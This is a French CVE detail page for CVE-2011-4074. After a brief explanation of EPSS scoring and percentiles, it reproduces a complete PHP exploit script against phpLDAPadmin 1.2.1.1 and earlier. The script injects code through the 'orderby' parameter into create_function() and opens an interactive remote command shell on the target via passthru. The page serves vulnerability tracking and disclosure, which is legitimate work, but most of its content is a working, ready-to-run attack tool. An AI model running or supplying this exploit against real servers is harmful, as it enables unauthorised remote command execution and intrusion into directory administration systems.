CVE-2011-4074 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<?php /* ------------------------------------------------------------------------ phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit ------------------------------------------------------------------------ author...............: EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://phpldapadmin.sourceforge.net/ affected versions....: from 1.2.0 to 1.2.1.1 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /lib/functions.php 1002. function masort(&$data,$sortby,$rev=0) { 1003. if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS')) 1004. debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs); 1005. 1006. # if the array to sort is null or empty 1007. if (! $data) return; 1008. 1009. static $CACHE = array(); 1010. 1011. if (empty($CACHE[$sortby])) { 1012. $code = "\$c=0;\n"; 1013. 1014. foreach (explode(',',$sortby) as $key) { 1015. $code .= "if (is_object(\$a) || is_object(\$b)) {\n"; 1016. 1017. $code .= " if (is_array(\$a->$key)) {\n"; 1018. $code .= " asort(\$a->$key);\n"; 1019. $code .= " \$aa = array_shift(\$a->$key);\n"; .... 1078. $code .= 'return $c;'; 1079. 1080. $CACHE[$sortby] = create_function('$a, $b',$code); 1081. } The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function() at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function. [-] Disclosure timeline: [30/09/2011] - Vulnerability discovered [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184 [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad [23/10/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+-------------------------------------------------------------------+"; print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |"; print "\n+-------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n"); $phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*"; $payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}"; $packet = "POST {$path}cmd.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; while(1) { print "\nphpldapadmin-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>